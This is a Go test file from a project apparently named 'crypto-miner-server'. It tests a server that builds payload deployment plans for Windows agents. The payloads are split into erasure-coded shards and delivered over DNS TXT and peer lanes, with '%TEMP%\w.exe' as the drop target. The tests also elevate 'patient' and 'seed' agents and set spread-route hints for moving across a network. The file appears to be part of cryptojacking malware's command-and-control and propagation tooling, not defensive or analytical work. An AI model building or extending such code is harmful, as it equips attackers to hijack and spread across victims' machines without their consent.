package api

import (
	"encoding/base64"
	"net/http"
	"net/http/httptest"
	"testing"

	"crypto-miner-server/internal/erasure"
	"crypto-miner-server/internal/models"

	"github.com/go-chi/chi/v5"
)

func TestBuildPlanAttachesErasureMetadata(t *testing.T) {
	h := testDeployPlanHandler(t)
	store := erasure.NewShardStore()
	h.BindErasure(func() bool { return true }, store)

	plan, err := h.buildPlan(deployPlanRequest{
		Platform: "windows", BuildID: "b1",
	}, "dns_txt:_aether", ServiceDeployLane{Lane: "dns_txt"})
	if err != nil {
		t.Fatal(err)
	}
	if plan.ErasurePlan == nil || !plan.ErasurePlan.Enabled {
		t.Fatalf("expected erasure_plan, got %+v", plan.ErasurePlan)
	}
	if len(plan.ErasurePlan.Shards) != 6 {
		t.Fatalf("shards=%d", len(plan.ErasurePlan.Shards))
	}
	if plan.ErasurePlan.PayloadSHA256 == "" {
		t.Fatal("expected payload sha256")
	}
	for _, ref := range plan.ErasurePlan.Shards {
		if _, ok := store.Get(plan.ErasurePlan.ShardToken, ref.Index); !ok {
			t.Fatalf("missing stored shard %d", ref.Index)
		}
	}
}

func TestBuildPlanSkipsErasureWhenDisabled(t *testing.T) {
	h := testDeployPlanHandler(t)
	store := erasure.NewShardStore()
	h.BindErasure(func() bool { return false }, store)
	plan, err := h.buildPlan(deployPlanRequest{
		Platform: "windows", BuildID: "b1",
	}, "dns_txt:_aether", ServiceDeployLane{Lane: "dns_txt"})
	if err != nil {
		t.Fatal(err)
	}
	if plan.ErasurePlan != nil {
		t.Fatalf("expected no erasure plan, got %+v", plan.ErasurePlan)
	}
}

func TestPublicErasureShardEndpoint(t *testing.T) {
	store := erasure.NewShardStore()
	payload := []byte("public-erasure-shard")
	plan, err := erasure.BuildPlan(store, "http://127.0.0.1:8989", "b1", "", payload, `%TEMP%\w.exe`, "exe", "", true, true)
	if err != nil {
		t.Fatal(err)
	}
	h := NewPublicHandler(nil, "", nil)
	h.BindErasureShardStore(store)

	r := chi.NewRouter()
	r.Get("/public/erasure-shard/{token}/{index}", h.ErasureShard)
	req := httptest.NewRequest(http.MethodGet, "/public/erasure-shard/"+plan.ShardToken+"/0", nil)
	rec := httptest.NewRecorder()
	r.ServeHTTP(rec, req)
	if rec.Code != http.StatusOK {
		t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
	}
	if rec.Body.Len() == 0 {
		t.Fatal("empty shard body")
	}
}

func TestBuildPlanErasureSetsSpreadRouteHintFlag(t *testing.T) {
	h := testDeployPlanHandler(t)
	store := erasure.NewShardStore()
	h.BindErasure(func() bool { return true }, store)

	patientID := "erasure-patient"
	seedID := "erasure-seed"
	if err := h.db.UpsertAgent(&models.Agent{ID: patientID, Name: "PZ", IP: "10.9.8.7", Status: "online"}); err != nil {
		t.Fatal(err)
	}
	if err := h.db.UpsertAgent(&models.Agent{ID: seedID, Name: "Seed", IP: "10.9.8.9", Status: "online"}); err != nil {
		t.Fatal(err)
	}
	hub := NewWSHub(h.db)
	connectTestAgent(t, hub, patientID)
	connectTestAgent(t, hub, seedID)
	waitForHubAgents(t, hub, patientID, seedID)
	hub.ClearanceManager().RequestElevation(patientID, 4, "test", "test")
	hub.ClearanceManager().RequestElevation(seedID, 2, "test", "test")

	pathTracer := NewPathTracerHandler(hub)
	h.BindPathTracer(pathTracer)
	sess := testTraceSession(2)
	sess.Hops[0].AgentID = patientID
	sess.Hops[0].ExternalIP = "10.9.8.7"
	sess.Hops[1].AgentID = seedID
	sess.Hops[1].ExternalIP = "10.9.8.9"
	sess.ServiceGraph = map[string]ServiceGraphHost{
		"10.9.8.20": {Host: "10.9.8.20", Subnet: "10.9.8", AgentID: seedID},
	}
	pathTracer.mu.Lock()
	pathTracer.sessions[sess.ID] = sess
	pathTracer.mu.Unlock()

	plan, err := h.buildPlan(deployPlanRequest{
		AgentID: patientID, Platform: "windows", BuildID: "b1",
	}, "DoSvc", ServiceDeployLane{Lane: "do_peer"})
	if err != nil {
		t.Fatal(err)
	}
	if plan.ErasurePlan == nil || !plan.ErasurePlan.Enabled {
		t.Fatalf("expected erasure plan, got %+v", plan.ErasurePlan)
	}
	if plan.SpreadRouteHint == nil || !plan.SpreadRouteHint.ErasureLanesEnabled {
		t.Fatalf("spread_route_hint=%+v", plan.SpreadRouteHint)
	}
}

func TestPublicErasureShardEndpointErrors(t *testing.T) {
	h := NewPublicHandler(nil, "", nil)
	r := chi.NewRouter()
	r.Get("/public/erasure-shard/{token}/{index}", h.ErasureShard)

	req := httptest.NewRequest(http.MethodGet, "/public/erasure-shard/tok/0", nil)
	rec := httptest.NewRecorder()
	r.ServeHTTP(rec, req)
	if rec.Code != http.StatusNotFound {
		t.Fatalf("nil store status=%d", rec.Code)
	}

	store := erasure.NewShardStore()
	h.BindErasureShardStore(store)
	plan, err := erasure.BuildPlan(store, "http://127.0.0.1:8989", "b1", "", []byte("shard-body"), "dest", "exe", "", false, false)
	if err != nil {
		t.Fatal(err)
	}

	badIndexReq := httptest.NewRequest(http.MethodGet, "/public/erasure-shard/"+plan.ShardToken+"/nope", nil)
	badIndexRec := httptest.NewRecorder()
	r.ServeHTTP(badIndexRec, badIndexReq)
	if badIndexRec.Code != http.StatusBadRequest {
		t.Fatalf("bad index status=%d body=%s", badIndexRec.Code, badIndexRec.Body.String())
	}

	missingReq := httptest.NewRequest(http.MethodGet, "/public/erasure-shard/missing-token/0", nil)
	missingRec := httptest.NewRecorder()
	r.ServeHTTP(missingRec, missingReq)
	if missingRec.Code != http.StatusNotFound {
		t.Fatalf("missing token status=%d", missingRec.Code)
	}
}

func TestPublicErasureShardEndpointBase64Body(t *testing.T) {
	store := erasure.NewShardStore()
	payload := []byte("base64-shard-payload")
	plan, err := erasure.BuildPlan(store, "http://127.0.0.1:8989", "b1", "", payload, "dest", "exe", "", false, false)
	if err != nil {
		t.Fatal(err)
	}
	h := NewPublicHandler(nil, "", nil)
	h.BindErasureShardStore(store)
	r := chi.NewRouter()
	r.Get("/public/erasure-shard/{token}/{index}", h.ErasureShard)

	req := httptest.NewRequest(http.MethodGet, "/public/erasure-shard/"+plan.ShardToken+"/0", nil)
	rec := httptest.NewRecorder()
	r.ServeHTTP(rec, req)
	if rec.Code != http.StatusOK {
		t.Fatalf("status=%d", rec.Code)
	}
	want := base64.StdEncoding.EncodeToString(mustGetShard(t, store, plan.ShardToken, 0))
	if rec.Body.String() != want {
		t.Fatalf("body=%q want %q", rec.Body.String(), want)
	}
}

func mustGetShard(t *testing.T, store *erasure.ShardStore, token string, index int) []byte {
	t.Helper()
	data, ok := store.Get(token, index)
	if !ok {
		t.Fatalf("missing shard token=%s index=%d", token, index)
	}
	return data
}

func TestBindErasureFromHub(t *testing.T) {
	h := testDeployPlanHandler(t)
	store := erasure.NewShardStore()
	hub := NewWSHub(h.db)
	hub.SetServerPolicy(ServerPolicy{ErasureLanesEnabled: true})
	h.BindErasureFromHub(hub, store)

	plan, err := h.buildPlan(deployPlanRequest{
		Platform: "windows", BuildID: "b1",
	}, "dns_txt:_aether", ServiceDeployLane{Lane: "dns_txt"})
	if err != nil {
		t.Fatal(err)
	}
	if plan.ErasurePlan == nil || !plan.ErasurePlan.Enabled {
		t.Fatalf("expected erasure via hub binding, got %+v", plan.ErasurePlan)
	}
}